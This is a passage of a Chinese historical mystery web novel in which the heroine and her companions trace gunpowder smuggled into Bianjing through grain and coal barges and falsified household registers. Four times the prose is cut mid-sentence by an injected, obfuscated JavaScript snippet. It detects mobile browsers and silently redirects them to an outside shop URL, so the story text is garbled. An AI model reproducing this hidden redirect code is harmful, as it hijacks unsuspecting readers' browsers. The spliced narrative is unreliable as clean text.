“要她来,怕是耽误时辰……” 他像是把她说的每个字都品出了味道,语速极慢,而后笑出了声:“坊主说的对,”他说得顺从,点着头,有些揶揄的意思,却带着些不知意味的宠溺,“大家都要做生意呢。” 郢六娘把装满了水的铜壶用力一方:“谁不做似的。”她拉起许知非往外走,剜了许云洲一眼。 许云洲跟在两人身后,目光胶着在许知非身上,青禾的房门上有一道黑影闪了下去,他余光撇见,没去管。 酒坊外御街车马行早,有些面摊小店已挂上了旗招,许知非脊背笔挺,模仿男子该有的步态,动作有些僵硬,但必须端着,否则这副身板必须招人怀疑。 她略微回头,发现许云洲走在偏向她的一侧,在她侧后方半步的位置,眼神像只……猫? 体型很大,长毛披身,慵懒,居高临下,看人时却很温驯。 他刚才看她时,就像在看一出有趣的戏,津津有味,还故意重复她的话,慢慢把每一个字嚼给她听。 “舍妹。” 她又想起他刚才说话的语气来,身后忽然传来他的声音,很近:“许坊主,看路。” 她一抬眼,迎面农人挑着两大筐青菜几乎擦过她的袖子,她往旁边侧开,后背险些撞上经过的驴车轱辘。 许云洲不知如何近了一步,刚好挡在她和驴车之间:“小心。” 车轮碾过细石的响声就在他背后咫尺,许知非下意识地拉紧了他臂上的衣袖,怕他往后倒到车轱辘上。 郢六娘眼疾手快,从背后拉住了许知非的腰带:“坊主当心。” 三个人一一站稳,有惊无险,赶车的车夫回头骂了一句,鞭子抽在驴背上。 许云洲的手护在许知非腰侧,只是没有碰到她:“坊主在想什么,盼着地上捡金子?” 许知非松开他,冷声道:“想为民除害。” “是吗?”他勾着笑,护在她腰侧的手悄悄放下,饶有兴致,与她对视。 许知非没有再答,转身往延庆观的方向走,郢六娘碎着脚步跟上她:“坊主等等我。” “鬼市不是三月廿七才开,现在能去?”许知非慢下来,与她并肩而行。 郢六娘底气十足:“自然可以,有我,就可以。” 许云洲不急不慢,依旧跟在许知非侧后方,有一搭没一搭地看看她,又看看周遭行人、铺面,神情还是懒懒的。 周铎的车马从延庆寺东面过来时,许知非一行人正好经过一个胭脂铺子。 她清楚记得,那天车前后有四个青衣仆从,两个皂衣护卫,一个青袍文官骑在马上,走在马车一侧,她那时还不知道那是谁,看官袍的颜色,只猜像是八九品的官,腰间鱼袋却时银的,低着头,下巴清瘦,有几缕胡子。 他身后还跟着两个便衣打扮的护卫,腰侧佩有刀剑,骑术很好,腰板笔直。 许知非想要细看,举步靠近,许云洲将她按头拉进了人群里,假装去看胭脂。 “别动,别看。” 他说得很轻,捻起一盒口脂,凑到鼻尖闻了闻,眉头微蹙,一副挑剔的样子,将她的身影挡在自己身前。 “那是谁?”许知非很快发觉了问题,低声问道。 “周铎的车,”许云洲撇了一眼郢六娘,恶狠狠的眼神是一种警告,“骑马的是监察御史里行,司马光的人。” 许知非拿起一盒香膏打开:“他们要去哪里?” 许云洲把那盒口脂放下,手指动作像是在挑别的:“梁门外,逍咄罗在等他们。” “你怎么知道?” “我知道的事情还有很多,你会慢慢知道,”他付了钱,把一个蝴蝶盒子塞在她手里,“等你知道的时候,大概会想杀了我。” “打打杀杀的有什么意思?义兄要是做了什么伤天害理的事,我这里,有许多法子用来惩戒你这样的人,包你从没见过。”许知非把盒子打开,发现是一盒胭脂,做工精细,雕着复杂的花鸟纹样,香气浓而不俗。 “一言为定。” 许云洲轻笑,身影没入人群中,许知非回头去看时,他已到了街尾,是跟着马车去了梁门的方向。 他回头朝她抬了抬手,看样子是让她别跟着。 一个路人从她面前走过,就在视线被挡住的瞬间,他消失了。 郢六娘走近她,冷笑道:“这人做生意从不挑人。” 她挽起许知非的手,两人穿过行人渐多的街道,拐进了旁边一条小巷里。 延庆寺的香火味渐渐浓郁,绕过几处屋角,鬼市地宫的入口,出现在正前方。 一个卖毒虫的摊子竟然就在寺庙院墙边上,郢六娘蹲下去看,拿起几只蝎子,开口就讨价还价。 “三钱?你还不如直接抢?这蝎子是死的!死的!” 摊主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295697|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个干瘦的老头,嘿嘿一笑:“死蝎子也是蝎子,泡酒一样管用,死有死的用法,活有活的用法。” 许知非站在郢六娘身后,静静看着。 郢六娘回头一笑,把手里捏的几只蝎子往摊子上一扔,站起来,拉着她绕过摊子,在几个木箱后面的一块木盖板旁边停下。 “记住了?这样进去,不会有人拦你,但直接下去,那就是死路一条。”她弯腰掀开盖板,示意她下去。 “这种暗号,确实别致,只是在寺庙旁边卖毒物,好像不大合适?”许知非指了指那个入口,“我不认路,你先。” 郢六娘愣了一下,神情委屈起来:“分明就一条路,坊主信不过我,真是令人心寒……” 她像是真的沮丧,拖着步子在前面带路,许知非跟在她身后,自己轻轻盖上了那块盖板。 “你说的独眼老三在哪里?” 脚步声和说话声在暗道里回响,闷闷的,郢六娘抬手指了指:“就在前面,奴家不会骗你。” 许知非没有回答,两人一路往前,也只有那一路,终于在一处分叉口,看见了一个独眼的少年,好像在等她们。 “六娘来了。” 他给了郢六娘一盏茶,郢六娘接过便倒在泥墙上。 “人带来了,你说吧。” 那少年把茶壶和几个叠起来的茶杯都放在了墙边,低声道:“货和人都没打听到,有些更有趣的事情,许坊主大概更感兴趣,也更要紧。” “什么事?” “坊主要想找到想找的人和东西,大概也需先知道这些事。” 那少年从自己怀里摸出一本册子,翻开后点了一行字:“登州来的漕船,有一批药材,三十箱,入了军器监的库。” 郢六娘眼神利起来:“军器监?” “对,”独眼少年翻过一页,“可怪在,那批货入库的底档和出库的底档,对不上。” 他从册子里抽出几张纸来,继续道:“这是我从库吏那里抄来的,军器监出入库药材十五箱,运往开封府辖下,赈济灾民。” 郢六娘冷笑:“刚开春,赈什么灾?” “谁说不是呢?”少年也笑了,一口黄牙,“可人家就这么写的,底档上清清楚楚,经手的是军器监的监库官,押运的是开封府的……你猜是谁?” 他把册子合上,卷成筒状,在郢六娘面前虚点了一下,看向许知非:“开封府左右军巡院的人。” 他把卷起的册子敲在自己手心里,一字一句道:“军巡使签的押,军巡判官点的头。” “左右军巡院?他们搀和到军器监的物料里干什么?” 少年有些跟实际年龄不符合的老成,淡定得像是干了这活好几十年,他又从怀里取出一张纸,嘴唇紧抿着,语气是不耐烦,表情是没眼看,动作却很坦然:“还有更妙的,开封府上报,收流民二十人,安置城南。而养济院的管事,我拜把子的兄弟,他说,根本没有这些人。”他把纸给许知非,在她眼前摇了一下,“自己看。” 许知非自然看不大懂,大概做了个忧虑的表情,把纸递给郢六娘同看。 独眼少年眼里闪过一瞬了然,开口道:“这是养济院的底簿,上个月,收留流民,零人。” 郢六娘盯着那张纸:“那二十人去哪了?” 26. 器物之用 少年笑得意味深长:“不知道啊,许是根本没有这些人,又许是有了又没了,总之报上去的就是二十。” 他又指了一下刚才那张纸:“军器监说出十五箱药材赈灾,开封府上报流民若干,需要药材赈济,这账,就这么平了。” 许知非根据他所说的信息,重新看了纸上的字迹,大概懂了些:“那二十个人是假的?” “谁说的清假不假呢?”少年把眼罩松了松,摆正,“这些年,汴京城里少的人,比账上要多多了。” 他压低声音,脸上带着平静释然的笑:“六娘,你在鬼市这么多年,半夜被人拉走的还记得清有多少吗?那些瓦舍里忽然死掉的,不见的,那些告了官就再没吱声的呢?” 郢六娘眼睫低垂,没说话。 少年继续道:“我在鬼市长大,从这只眼睛没了到现在,见过的死人真是比活人多。有些死法,我根本没见过,有些人,我压根找不着。” 他看向墙上明灭不定的火把:“有人在偷偷清人,账上写‘流民’、‘逃户、’‘失踪’,开封府的底簿上,这些人就这么没了。” 许知非冷声问道:“谁在清?” “不知道,我只知道,能压得住开封府,能让军器监出库,能让左右军巡院闭嘴的人,汴京城里,一只手数得过来。”他张开五指,又慢慢握成拳头。 许知非看着那个拳头,那种冷她很熟悉,每次案子没了下文,她都有同样的感觉,觉得这世界说好也好,但说冷,也是真的刺骨难消。 那少年又打开手里的册子,取出几页发黄的纸:“这是汴京城户口的底簿,我抄的。”他把纸递给郢六娘,“这个很简单,看出什么了吗?” 许知非眉头渐渐皱起来,上面的数目压根不对。 “这数目怎么有点怪?”许知非挨着郢六娘,仔仔细细看了又看,都是繁体字,“户部……合计……三万……四千……七百二十一户,但这上面的登记……只有……三万一千零五十三份?” “差了三千六百多户,”少年冷笑,“报上去是‘逃移’,可逃移要有去处,要有日期,要有报备,这里,都没有。” 郢六娘抬起头来:“这是谁经的手?” “祥符县知县签的押,主簿造的表,县尉核的实,而就在上个月,这位知县还忽然升了官,调任开封府推官。” 郢六娘眼神更加冷下去:“谁抬举的?” “权知开封府。”少年将自己提供的东西一一收回,揣进怀里,“我能查到的就这些了,再往上,我够不到,也不敢够,你们要继续查,还要往上走,还要让花火节不死人,还得快些。” 他转身走向左边岔道,郢六娘看着他离开的背影,低声告诉她,那道门打开后一路往下就是地宫,百花楼和暗河就在下面,随着一阵风涌上来,许知非闻到了那天晚上地下河水的气息。 “三十斤火药很可能跟这些失踪的人有关系,但我们不可能在那么短的时间里拿到户部的账。” “火药是混在石炭船里进来的,与这登州的药材有什么联系?” “我们可以去看看登州船和太原船的底簿。”许知非即刻动身,原路往回走。 郢六娘小跑着跟上她:“底簿怎么随便看?你这是要去找许云洲?” “只要趁手,任何工具都可以用。” 许知非走得很快,大步跨上那条泥土夯出来的台阶,盖板打开的一瞬间,外面的光线像是扎进了她的眼睛里,她抬手挡了一下,扶了一手泥沙往上爬。 梁门外,州西瓦子里,女子相扑仍是最热火朝天的节目,那个死在这里的女颭就像从未出现过,什么都没有改变。 许知非到的时候找不见什么周铎和辽人能私会的地方。 光天化日,闹市里到处都是人,挑担的和推车的几乎擦着,牵驴的和抱孩子的挤挤挨挨。 她站在大街上,目光在人群里不断搜寻,没有看到周铎的车,那几匹汗血宝马也不知去了哪里。 她在街上来回走了三四趟,郢六娘一直跟着,两个人又从梁门城楼走回州桥,许知非回到酒坊里看了一圈,确认他没回来,又从御街一路往梁门走。 快到梁门城楼的时候,郢六娘终于拉住她:“你到底要走几趟?他怕是到哪个贵人家里搓琴去了,那人什么时候跟钱过不去过?” “我没让你跟着。”许知非冷声道。 郢六娘愣了一下,气不打一处:“好!算我多事!可你告诉我,你打算找到什么时候?天黑?宵禁?还是明天早上,直接去开封府报失踪?” 许知非没回答,她拉她退到路边茶摊里:“你先坐下喝杯茶,急没用。” 她倒了一盏粗茶推给她,自己自斟自饮了一盏,终于松了口气,锤了锤肩:“逍咄罗偷我金枫露就为灭口,那岑掌柜如今也不知死了没。” 许知非目光仍在人群里徘徊:“你做那种东西做什么?” “有人要,但货没交成,就不见了。” 许知非看向她:“谁要?” “不知道啊,楼主知道,但楼主死了,保不齐就是逍咄罗,直接偷去,银子能省下不少,再杀了楼主,死无对证。” “不可能……我妹妹说,张缘清不知道是谁拿了金枫露,逍咄罗没有杀他的必要,鬼市留存对他们有利,鬼市能悄无声息地私运火药入京,还能替他们背起所有罪名,所以张楼主的死,逍咄罗大约也是始料未及。” “那就是周铎,他让楼主吩咐我炼毒,毒不见了,他怕出事遭人发现查到他身上,派人灭口。” 许知非摇头:“六娘,那天晚上,那些人,像是冲着许云洲来的,你当时在场,就没发现楼主是怎么死的吗?” 郢六娘低下头:“我顾着打架,没看见……是我没护好楼主……” “别多想,我只是一问,要是他们有意让你看不见,你再如何也没用,难不成搭上自己的性命?” “搭上我的性命又如何?楼主收留了我,教我如何在这世上存活,若搭上性命他便能活过来,我也愿意搭上性命,只在如今是不能的,我便要为他报仇。” 郢六娘把手里那个粗陶盏敲在桌面上,几个旁桌吃烧饼的看了过来,眼神锋利,是跟着周铎车马的那几个仆从和护卫,只是不知何时换了粗衣便装。 许知非即刻拉起她朝着人最多的地方挤过去:“别回头。” 郢六娘一惊,没有反抗,一面走,一面看着许知非的侧脸,眼中含情:“坊主若不嫌弃,可否留我在春风酒幡做事,当牛做马都可以。” 许知非听见了,那语气不对,像在撒娇,她回头,见她红着脸,心里咯噔一下,不由得结巴起来:“那……那个… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299738|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我酒坊里……里……人……人手……够……够了,怕……委屈……委屈了你,”她说着,又想到了说辞,眼睛一亮,“改日,让许云洲帮你巡个去处吧,他关系硬,知道得多,达官贵人家里的好差事比我这可强多了,跟个好人,说不定还能寻个好人家做女主子。” “坊主不是好人?”郢六娘忽然刹住脚,看样子对这话很是不满,满脸怨怼。 许知非经她一拽,险些往后跌下去,转身站稳,不知怎么解释,最终叹了口气,决绝道:“我不是这个意思,总之我酒坊里留不得你,你说什么也没用,我也不想耽误你,话就是这么明白给你说了。” “坊主看不上我?嫌我出身微贱?”郢六娘眼里蓄起泪来。 许知非噎住,左右看了看,已经有人投来了准备看热闹的目光,她又急又尴尬,正手足无措,忽然想起许云洲那句话:“……区区一个断袖的名声,我消受得起。” 她沉了口气,正色道:“实话告诉你,我喜欢男的。” 几个路过的汉子一齐看向她,个个震惊又好奇,继而相互看了一眼,凑在一起一边慢走一边交头接耳。 “诶,听见了吗?” “听见了听见了,那是谁啊?穿得还不错,怎是个不正常的?” “诶,别瞎说,小心招事儿。” “哎呀,都正常,人喜欢什么就喜欢什么,不害人就不算事儿不是?咱们看个热闹,少掺和,我是看那男的眼熟,在哪见过来着?” 他们又回头来看,其中一个双眼一亮:“春风酒坊那个小坊主!”他压低了声音,压不住脸上的震惊。 许知非皱了眉头,抬眼看过去,几个男的立马转过身去,假装在看街上的店铺招牌还是屋顶。 “你……你不会跟许云洲……”郢六娘的表情像吃了很难吃的东西,味道往脑壳里钻但吐不出来,“你们……你们……” 许知非抬手示意她打住:“你别乱想,我们就是拜把子的兄弟关系,只是正好投缘又有生意可图,总之我对你没意思,这案子你愿意跟我查就一块儿查,若不愿意,我自己摸索着来就行。” 人群里传来一阵骚动,隐约听见有呵斥声,两人同时退到一边,蹲在一堆箩筐后面藏身。 刚才邻桌的五六个布衣汉子凶神恶煞,推开人群一路走来,像在找人。 “那一男一女去哪了?” “人这么多,路不通道不畅,能走多远?快,分头找!” 许知非攥着身后拖地的衣摆,拉起郢六娘退进身后拐角:“他们是周铎的人,那个发号施令的一定会回去报信,跟着他,大概就能找到许云洲。” “你刚刚是说,周铎要杀许云洲?” 许知非脚步一停:“我是说那些闯入地宫的是冲许云洲来的,但他们要真是周铎的人……” 原身的记忆里,她查到了周铎是许文谦的同门师兄,要是他督造违禁毒剂,那许文谦就一定知道,但他们是不和的,那那些人就很可能是因为她才要杀许云洲,而张缘清也是因她而死。 那天她这样想着,看见不远处那个护卫跑进了巷尾的一间废宅,残了一半的脚店酒招像块破布一样挂在墙头。 许知非大步跟上,在墙边放轻了脚步:“我们要想办法偷偷溜进去。” 郢六娘拉了一下她的衣袖:“这边。” 27. 蓄尘吹影 她跟着郢六娘的脚步往后退,注意到地上的车辙一路延伸到屋后,墙里有人走路的声音,从墙边经过,微微一阵风,带来些若有似无的石炭味。 两人在街角的烧饼摊子前停下,摊主看起来是个二十出头的小伙,郢六娘把许知非往前推,笑道:“喏,新鲜漂亮货,换你几句话?” 那小伙动作带着些媚态,许知非有些明白了,拍开郢六娘的手:“后面那个破院子里可有什么人进出?”她把许云洲塞在她手里的那盒胭脂递了过去,“少有的好货,算见面礼。” 那小伙接下打开,满意一笑:“有的,都是些生人,早前从没见过,那院儿里有人还是三四年前的事了,这几日啊,夜里还有人搬东西,听着响声,还是很重的东西。” “大约几点进出,有没有规律?”许知非追问道。 “几点?”小伙子怪道,看了看郢六娘。 许知非发觉自己说错,解释道:“就是什么时辰。” “时辰嘛……”他打量着她,从头到脚,目光最后回到她脸上,带着意味不明的笑,“今晚你来王楼淋雪阁,我就告诉你。” “王楼?” 那晚在梁门,许云洲用王楼的乌木牌替她要下那套刀具,说的也是这淋雪阁,正好,看看是什么地方…… “可以,”她爽快道,“日落之后,你到那里等我,若真有用,春风酒幡重谢。” 她率先离开,往汴河方向,西水门码头延绵数里,河市商铺林立,多是茶舍面摊食肆,来往客商和运工吃的是一样的东西。 船一靠岸,便有脚夫蜂拥而上,“宜林脚行”的旗招在河风里飘扬,几个黑衣男子手里端着册子,快速记下上岸的货物。 两岸货仓砖瓦层叠,河堤是夯筑而成,看得出加高过多次,直立陡峭,卸货的堤岸上堆满了麻袋和木箱,不少力工还在搬货。 登州的船和太原的船就在码头一侧,装潢华丽的客船则在靠近西水门的那边。 运石炭的船明显脏污,混入火药确实不易细查,登州的药材船若运的是硝石和硫磺,可制火药,也可入药,军器监也有采购的理由。 “那边那个就是勾当汴口。”郢六娘抬了抬下巴,示意她看卸货码头那一片,力工和工头之中,有个青色公服的低阶武官,腰系黑银铜带,幞头下宽方的一张脸让河风吹得又干又红,表情一动,褶皱相互拉扯着。 他一手拿着水符,一手向脚夫比划,许知非到他面前时,他一脸鄙夷道:“许坊主?什么风把你吹到这脏乱地方来了?” “我店里进了些货,从登州来的药材,用来做药酒的,需要找些脚夫帮忙装卸,运到酒坊仓库里,大人可知有哪些靠得住脚行?许云洲说最好有官府生意的,不易遭盗,小生出门少,不知大人能不能……” 那汴口嗤笑道:“许先生有头有脸,自己不来,却让你来,还让你带着个女子,想来也不是什么重要的东西,你随便找几个脚夫付点儿钱得了,什么药材这么精贵?就你这种没见识的才真当事儿办。” “义兄既交代了,我也不好随意搪塞过去,还望大人行个方便,指个去处,小生回头给您说说好话,这良吏的好名声,或还可助大人早日佩上个银鱼袋?” 许云洲的名头确实好用,那汴口眼看着心动,指了指宜林脚行的旗子:“那家就是,官府的货也由他们卸,可你们那些边角料……人家愿不愿意卸很难说,若人家不接,回头别怪我。” “不会不会,小生这便记下您一份好,余下的事,小生自己料理,叨扰大人了。” 她对那汴口拱了拱手,带着郢六娘走向石炭船装卸的岸口,两人寻了个人多的茶摊假装歇脚,实则是听见了那些脚夫说话。 “最近这石炭船可真多。” “谁说不是呢?沉得很,满箱铁疙瘩似的。” “诶,听说老吴失踪了,这几日,他家婆娘四处找人呢。” “哎呀,不就是摔破了个箱子嘛,不至于躲出去,我看是他太紧张了,来接货的那位也没说啥。” “呵,就怕是摔出了什么机密,我看那个破箱子底下全是黑色的沫子,那底下估摸着不是石炭哦!” “去去去,别瞎说,干活就干活,那箱子里是什么与咱没关系。” 他们一时闭了嘴,许知非和郢六娘喝了几口粗茶,付账后,许知非示意她往闸门那边走。 守卒手里有船只进出的记册,郢六娘心领神会:“这个我有办法。” 她钻进人群里,不多时,闸口那边少了两三个小吏,许知非找了个刚放下货箱解了头巾擦汗准备下工的脚夫,跟他走到一个巷末拐角里,在他发觉有人跟着,转身来看的瞬间,递过去一张楮纸,印着朱红的官印:“最近这些时日,石炭船来的货都放在哪里?” 那脚夫战战兢兢,看了看那张东西,眼睛亮了一下,眨了眨,又看向许知非:“这、这是什么?你、你是什么人?!” 许知非把往他眼前递,冷声道:“我是皇城司的人,听说你们这里有人失踪,恐涉重案,特来查证,问你就答,知情不报等同从犯,按窝藏罪处置。” 那脚夫忽然跪下:“大人饶命,那些石炭是运到那边破仓库里去的,就那个早废了的脚店,监工的像是哪位大人,天黑看不清脸面,我们这样的人也不敢去细看,但他腰侧有银鱼袋,还有就是,我家掌柜常到那仓库里与人喝酒,至于是谁,小的真不知道啊。” “失踪的脚夫家在何处?” “就在前面一个岔口左拐,走到头就是了。” 许知非点了头:“你起来,此事不可声张,这是四川的交子,你拿到东十字大街上的川陕商号去,能兑出一百贯钱,拿了钱回去躲着,若走漏消息,皇城司拿你是问。” “是是是,谢大人,谢大人。”那脚夫急忙爬起来,收下那张楮纸转身就跑。 郢六娘的声音从背后传来:“这东西汴京不通行,鬼市都不过几张,你哪来的?” 许知非回头道:“我在别的地方见过,知道它,那日川商到我店里喝酒,一摸身上没了现钱,我便把这当酒钱收下了。” 郢六娘一笑:“都说你不出门,没见识,但又好像见识挺广?” 许知非不与她多说,问道:“拿到东西了吗?” “我出手,怎会拿不到?”郢六娘从袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306115|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里取出两张纸,上面清楚抄录着登州船和太原船进城的日期和时辰,该登记的货名、数量和货主姓名笔笔清晰。 “那几个小吏都是鬼市的人?” “是啊,”郢六娘语气带了一丝叹息,“都是我们这些没人要的孩子,楼主捡我们回来,为我们谋差事、生计,他不能白死,害死他的人,必须千刀万剐!” 她说着又激动起来,许知非默了默,手指点在那几个日期、时辰上:“二月十八,卯时,太原船进城,石炭三千斤,货主李星,午时正,药材三十箱,货主张行道,错开了三个时辰,都有‘军器监急用’的公文,免检,查验人,是同一个。” 她手指在“里行”二字上停住,二月正是开河通漕的旺季,这个时节运货入京,就算没有公文免检,若有意藏匿,也是不易发觉的,更别说这还有监察御史亲自看顾。 “他们说,那天的太原船上有硝石味,货沉得不正常,脚夫悄声议论说里面像藏了铁疙瘩,那些火药大概就是那时候混进京城的。” 许知非没说话,走向宜林脚行承包的那一段码头,岸边的旗招已在暮色中染成了红色,脚夫搬着东西从她们身边经过,货仓就在不远处。 两人扮作商人,是来找货看货,端着脚步慢慢走,最终在货仓附近的一处石缝里,许知非发现了残留的硫磺粉末,她假装肚子疼,从怀中布包抽出一把小刀刮取,装进一个瓷胆瓶里。 她抬头看了看天,将小瓶子收好:“天色不早了,我们先去一趟王楼,会会那个漂亮小哥。” 郢六娘料想不到:“你真去?王楼不是什么好地方,人家都说那是皇城司的家产,里面全是察子,他爱捉弄人,你可不要轻易信他。” “那你当时为什么不说?”许知非看着她,眼神利得割人。 郢六娘柳眉微挑,心虚道:“我以为你知道我故意捉弄你……” “那他说的那些话到底是真是假?”许知非语气冷硬,事情很严重,她根本没有想过这女人会在这样的时候玩这种幼稚可笑且毫无意义的恶作剧。 郢六娘撇了撇嘴:“那倒是真的,只不过去淋雪阁这件事,你还是不要信他,他惯爱吹牛扮阔,淋雪阁哪里是他能呆得起的?” “那废宅里有巡防,即便不去赴约,我也需找个帮手,现在只有王楼能试一试,你若害怕,我自己去就是。” “你打算去做什么?请个皇城司的察子来帮你?小坊主,你别做梦了,这世上哪有这样的好事?即便这汴京城炸了,他们也会盘算好各自的好处,而他们要是发现你不听话,追查火药和那个焦尸的身份,定会把你先带回地牢里,皇城司不让管,那就是官家的意思,到时候,许云洲有再大的本事也救不了你。” “那你想如何?别忘了,是你鬼市的人把货装上船的,若拖下去,你们全部,都是现成的替死鬼,且无人在意,甚至连个坟包都不会有,烧成一把灰混进泥里,就像从没到世上来过,而汴京城依旧会恢复原样,按赢家想要的方式。” 郢六娘怔住,片刻之后又像是想起些什么,眼睫微微颤了一下,苦笑道:“原来是这样,怪不得……怪不得他逼我来找你。” 28. 登门拜访 许知非不知她说的是什么意思,可她来酒坊找她是受了许云洲威胁,如今毒方在她手里,她随时可以报官,真凶……在此…… 开玩笑,怎么可能,把她当什么人了?她怎么会随意拿人顶罪呢? “我不是威胁你,我只是……” 她还没说完,郢六娘打断了她:“走吧,现在就去,龙潭虎穴见一见,死而无憾。” “你……” 许知非没来得及问,她已挽着她朝州桥方向去:“王楼在马兴街中间,夹在一堆酒楼里,不仔细找还真难看见门面,但生意红火,菜色独到,你去过吗?” “当然没有,你也没去过吧?听谁说的?” “鬼市里的人都爱听些小道消息,多多的听来,再比照,也就八九不离十了,总之那王楼,不是我们敢去的,可你知道吗?”郢六娘忽然从背后抱住她,“你是这汴京城里唯一在乎我们死活的人。” 许知非身上僵住。 许云洲惯会算计,若他算准了郢六娘会跟她去……她稍稍回头,看见她头顶与身份全不相衬的饰物:“我在乎的是公道,不是你们。”她声音冷冰冰的,听起来像毫无情面可言。 郢六娘笑出声来:“是啊,因为你,公道二字,竟也能与我们相干了。” 西水门码头船舶尽数停好,此起彼伏的吆喝声终于消失了,脚夫坐在岸边擦汗歇息,时不时有人瞄一瞄这“一男一女”。 许知非解开她环在自己腰上的手:“若我把你交给皇城司呢?” 那双手瞬间抽离,郢六娘眼中只剩惊惶:“你想干什么?用我换人手?” “若能救你所谓的鬼市亲朋,你愿意吗?” “我……我……”她低头犹豫,双手垂在身子两侧,攥紧了拳头,声音低下去,“我……” 许知非冷笑:“你所谓的仁义,不过如此,你口口声声的讨伐,都是为你自己一腔愤懑,根本不是为了旁人。” “不是,明明都是他们的错,我是受害者,我有什么错?!” 许知非摇头,转身往州桥走去:“你没错。” 郢六娘没有跟上她,那天晚上她是一个人去的王楼,一个人慢慢走,走了很久。 街市上灯时,她只觉得脸侧有暖意包裹着,烟火气将她笼罩在这个没有消息推送的年代里,她只有眼前的每一步能去观看,没有人会在她专心走路的时候在目的地问她到了没。 郢六娘说了,王楼在马行街中间,她记得中间那一段临近潘楼街和土市子,确实酒楼林立,如果皇城司有私产且设在那里,确实不奇怪。 原身房中的地图里有标注,潘楼街是金银丝帛交易之所,富商官员之类时常出入,土市子交通便利,能直达皇城司衙署。 她站在二更天的马行街上,将酒楼门面一一看过,终于在一处不起眼的黑瓦下,找到了“王楼”二字。 四层楼阁黑瓦朱栏,跟四周酒楼区别不大,客堂里都是散座,但比春风酒幡规整,桌椅能看出材质精贵,二层雅间有丝竹声,很轻,混在一楼的喧闹声里,就像浊汤里掺着一丝清甜,气氛浓烈却不刺人。 三四层是大间,不对一般人开放,她皱了皱眉头,问道:“那淋雪阁在哪?有人约我淋雪阁一见,掌柜这么一说,倒也不知是不是诓骗。” 那掌柜生得圆润,心宽体胖说的就是这样的人,他神情僵了一顿,转瞬又笑起来:“小公子怎不早说,看这问一大圈的都把在下唬住了,以为您是三法司里的大人呢,您随我来。” 她跟着那掌柜穿过后厨,两人拐进一条暗巷,他在前,于最尽头推开了一扇小门,门后是直通三楼楼梯。 “公子往上走,在三楼走道尽头有到四楼的楼梯,淋雪阁就在那里。” 许知非点头道谢,小心翼翼往上走,木楼梯声音咚咚响,她还是很小的时候听过这样的声音。 她一直走到最顶层,四楼楼梯的尽头是一扇雕花的木门,她摸了一下,很厚重,没敢推,试着敲了敲:“有人么?” 门从里面打开,林修出现在门后面:“坊主来得有些晚,”他看了一下她身后,眉心微微拧了一下,“郢六娘没来?” “我不让她来,”许知非往前走,站在门边上往屋里看,“你怎么在这里?” 林修说话仍是一板一眼:“公子让我在这里等你。” “烧饼摊子那个是你们的人?” 林修从怀里取出里那个蝴蝶盒子:“是。”他把那盒胭脂递还给她,“那座废宅是宜林脚行的仓库,里面有很多守卫,公子已有安排……但郢六娘没来,是意料之外。” “她若来了会如何?” “董二即将受审,她不来,便没救了。” “你们要用六娘去换董二?” “坊主不是想救人吗?郢六娘本该在此刻落入官差手里……在楼下。” 许知非一口气堵上了心,是,她是想救人,可这样的方式,跟一命换一命有什么区别? 她闭了闭眼:“董二何时受审?” “四月初七,花火节前一日,所以他极有可能被处死,以给百姓交代为由。” “我若教你怎么救,你可愿听?” “公子吩咐,他不在时,全由坊主决断。” 那个烧饼摊上的小伙端着兰花指从花罩帘子后面走出来,身后还跟了几个目露凶光的男子:“许坊主,那废宅进出货的时辰,眼下就快到了。” 他声线阴柔,不像男人,姿态动作跟宫里的内官差不多。 许知非目光扫过阁中几人,沉声道:“现在去西水门那个勾当汴口家里,把二月十八那天的账找出来,我猜你们能做到。” 林修眼神示意,那几个人即刻跟他离开,许知非在占满了一层楼的房间里搜了个遍,确认许云洲当时不在那里。 许知非找了把椅子坐下,才发觉腿脚酸痛得厉害,她自己揉了揉,趴在桌子上,烛光像是将她裹了起来,她本想休息一下,却不知不觉睡着了。 夜半醒来的时,林修已将好几本私账簿子放在了桌面上。 她睁眼就看见了各种姿势或蹲或坐守在房间各处的人,早前出去几个就回来了几个,没多也没少。 林修抱臂握剑,在她身边坐得笔挺,闭目养神。 许知非随手抽了一本打开,那是所有异常船只的实际情况,清清楚楚写着船号、时间、货物如何异常、在场官员特征。 她快速浏览,找到了二月十八那天,潦草的字迹写着那天的太原船有二十个油布包裹在夜里送进了她们今天发现的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 